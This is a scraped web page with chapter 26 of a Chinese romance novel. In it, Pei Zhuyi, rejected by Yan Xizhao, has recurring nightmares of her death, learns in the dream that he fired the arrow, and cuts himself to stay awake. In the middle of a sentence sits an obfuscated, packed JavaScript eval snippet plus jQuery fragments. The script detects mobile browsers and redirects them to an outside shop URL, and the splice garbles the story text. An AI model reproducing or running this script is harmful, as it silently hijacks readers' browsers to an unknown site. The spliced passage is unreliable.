26. 二十六

作品:《惊春意

    突如其来的大雨将大地淋湿,到处都是湿漉漉的,空气中都是雨水与泥土混合的气息。


    裴逐意从山路走下来。他脸色苍白,两眼无神,失魂落魄的样子仿佛是魂魄被抽离了出去。他整个人看起来没什么精神,颓废之意显然。


    章青快步走上前,扶着杖责后尚未伤愈的裴逐意走上马车。看他的样子,章青便知晓此次兄长与颜小姐的见面不愉快。但具体如何,章青不敢问。


    裴逐意也没说,只是低头沉默。


    马车往回行驶,在天黑前抵达上京。到了家,裴逐意仍是一副无神而丧气模样,仿佛是行尸走肉,而非一个活生生的人。他直接回的房间,连晚饭都没吃。


    章青无奈,将事情告诉了母亲,请母亲过去劝劝他。


    侯夫人带着晚饭过去时,裴逐意坐在桌案前,仍是颓废模样,面前的书翻开许久,却迟迟没有去翻第二页。他眼睛看着书页,脑子里却在想着颜夕照。


    “逐意,”侯夫人开口:“母亲知你心中难过,可饭还是要吃。身体重要。”


    裴逐意没说话。


    侯夫人轻叹一声,搬着椅子到裴逐意身侧,柔声道:“你今日去玄女观,发生了何事,你可愿告诉母亲?”


    她伸出手轻轻拍着裴逐意的肩:“逐意,母亲在这里,你可以和母亲说的。”


    裴逐意紧抿着的唇稍有些许松懈,情绪放松的一刹那,他眼睛泛红,眼里有泪水快速浮现:“她说……她不想再见到我……”


    侯夫人微愣。她?应指的是颜家小姐。


    倒是没想过颜家小姐说话会如此决绝,竟当着逐意的面说出那般狠心的话语。只是侯夫人也有些费解,据她所知,颜家小姐温柔似水,寻常情况下不可能说出那样的话,可是逐意有哪里惹她不高兴了?


    可此前也未曾听逐意说起过。


    侯夫人看向裴逐意,正犹豫着如何开口询问,却又听他说:“是我害她有家不能回,她因此厌恶我,也很正常。”


    他嗓音中带起些哽咽:“如若不是我一时冲动动手打了太子,也就不会连累她被陛下责罚,要在那清苦的山上玄女观待上整整三年。上京就在这里,快些赶路也不过大半日路程,她却不能回来,也无法像以往那样见她的家人……”


    “都是我不好……”他趴在桌上,脑袋埋在双臂间,声音沉闷:“母亲,这都是因为我……”


    侯夫人心疼自家儿子,却又觉得他说的在理。这件事,的确是逐意连累的颜小姐。


    也怪自己当时给逐意出主意让他陪颜家小姐去登山赏花,原本她是想着让他们二人多相处相处、说说话,培养培养他们二人感情,谁能想得到事情会变成今日这般?可惜现在说什么都已经晚了。


    侯夫人心下叹了口气,伸出手轻轻拍了拍裴逐意的肩,尽可能的给予些安抚。


    “没事的,”侯夫人出言安慰:“三年后,她就能回来了。至少她是安全的,陛下也没有要另行责怪她的意思,凡事得往好处去想。”


    裴逐意无言。他倒是想往好处去想,可他做不到。


    他一闭上眼睛就会听到颜夕照对他说的那句狠心话语,就会想到那时候颜夕照看向自己时冷漠的眼神。她本来就对自己有所误解,现在好了,事情如此麻烦,更是解释不清楚。


    一想到往后真的有可能再也见不到她,裴逐意便觉着胸口堵得慌,满心难过,快要不能呼吸。


    是夜。


    裴逐意近日难眠,喝了母亲为他准备的安神汤他才能入睡。汤药作用下,他昏昏沉沉睡着,却在朦胧虚幻的场景中看见个熟悉的身影。


    他拼命的想要追逐,却发现自己越是追越是离她很远,怎么也追不上他。他慌张着不顾一切的冲上前,想要喊她,却发现自己说不出话来。


    他一瞬间惊慌失措,还没搞清楚是怎么回事,画面骤然转变,来到一个深夜。他有点看不清楚,只隐约感觉周遭轮廓像是自己住的院子。


    但很快有许多人聚集,刀剑相向,血肉横飞,众人尸体横陈。


    恍惚中,有个穿着喜服的女子被人用剑挟持,对面有人走来,手持弓箭向前射去。新娘子与挟持她的人皆被射中。


    他正疑惑这是个什么奇怪的场景,眼前画面再次转换,那个新娘子躺在了他怀中。他蹙眉费解时,眼前所见渐渐变得清晰。


    颜夕照那张似玉却濒死的面容出现在他眼中。


    他震惊错愕,看着怀中人一脸疑惑与不甘的看着他,艰难的说出“为何”二字后失去最后一丝气息。他难以置信,想要阻止,却难以挽回。


    怀中人失去气息,已然死去。他不能接受,逐渐崩溃。


    而后,裴逐意惊呼着从梦中惊醒。入目是一片漆黑,满身冷汗。他惊魂未定,慌乱的起身点烛,发现自己身处在自己房间,而院中并没有什么尸体横陈、血肉模糊之事发生。


    这就是个平静的夜。


    只是他自己的心无法平静。


    裴逐意回到房间,却满心疑惑。他不懂自己为何会做那样一个奇怪的梦,为何梦中颜夕照死在自己怀中的场景如此的真实?仿佛……就是真的。


    可颜夕照明明在玄女观,白日还见过她。她活得好好的。


    那场古怪的梦里,其余场景皆是模糊不清,他根本看不清,唯独颜夕照死去自己眼前的画面格外真实。难道是……自己心绪被白日之事影响,故而夜里做了个那样的噩梦吗?


    他抬手拍了拍额头,眉头紧皱着,试图将那不吉利的画面从自己脑海中赶出去。即便颜夕照说过不想再见他,他也希望她能好好活着。


    然而一连多日,裴逐意都在重复着同一个梦。其余的场景都是模糊的,不管是人或物他都看不清,唯独颜夕照死去的画面一遍又一遍的、无比清晰的在他眼前重复。他一次也没能阻止,他什么都做不了。


    他害怕噩梦成真,不敢再睡。


    短短几日


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16791943|189814||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,他疲惫模样明显,眼下黑眼圈越发厚重,自然的影响到了平日的事情。章青注意到他的不对劲,镇北侯与侯夫人也都发现。


    起初以为他是伤心难过所致,暗中观察后却发现他是晚上根本不睡觉,哪怕困了也会用伤害自己的方式迫使自己保持清醒。左臂上那些匕首划开的痕迹就是最直接的证明。


    侯夫人看不下去:“你这是要做什么?你疯了么!”


    裴逐意眼皮耷拉着,说话也没什么力气:“我不想睡觉……”


    侯夫人不明白:“为何?”


    “会做噩梦……”裴逐意紧握着拳:“我不想做噩梦……”


    侯夫人理解不了。她只知道要是再这样下去,她的儿子怕是真要熬不住了,血肉做的身体怎么可能撑得住多日的不睡与自我伤害?于是她找了大夫,给他开了药,偷偷的放进他的食物中,想要让他赶紧睡个觉,不要再傻乎乎的因为不想做噩梦就不睡觉。


    又不是孩童了,怎还会有如此幼稚的行径!


    那令人安睡的药混入食物中被裴逐意吃下去,确实起到作用让他睡着,可随之而来的,就是他那不愿意面对的噩梦。


    他醒不过来,只能在梦境中一遍又一遍的重复着一模一样的场景,一次又一次无能为力的面对颜夕照的死亡,看着她一回接着一回死在自己怀中。他的精神面临崩溃,他痛苦而挣扎,在这如同沼泽般无法脱离的噩梦中备受折磨。


    在他快要完全崩溃的时候,他终于在那个噩梦中看清了一点别的画面。


    他看清楚了射向颜夕照的那支箭,他看见了手持弓箭射出那支箭的人——是他自己!


    裴逐意不敢相信,难以接受——是他,杀了颜夕照?!


    怎么可能?怎么可能!!


    巨大打击与刺激之下,裴逐意从梦中脱离,他惊坐而起,喉间有铁锈的味道蔓延开,尚未来得及有一句言语,一口鲜血先吐出来。


    守在房中的章青被惊醒,看见裴逐意吐血,迅速跑过去:“兄长,你这是怎么了?”


    “不可能是我……”有血丝从裴逐意嘴角滑落,满口皆是血气。他摇着头,不可置信:“怎么会是我?怎么可能是我?!”


    他手握拳,重力捶打着床面,两眼泛红而话语悲痛:“怎么会是我!!”


    章青不明白他在说什么,满目担忧:“兄长,你怎么了啊?我这就去找大夫!”


    云寒山玄女观中,颜夕照倏忽从梦中惊醒。


    窗外有隐隐的光透进来,约摸快要天亮。她撑着身体坐起来,抬手抹去额头上的汗,略有些意外。


    自来到玄女观,她一直睡得安稳,这还是到这儿后头一回做噩梦,还被噩梦惊醒。她下意识抬手捂住心口,感受着心脏传出的乱跳声音,循序渐进的深呼吸着,将紊乱的心跳慢慢平复下来。


    待心绪平稳,她松了口气。无妨,不过是梦而已,不是真的。


    时辰尚早,还能再睡会儿。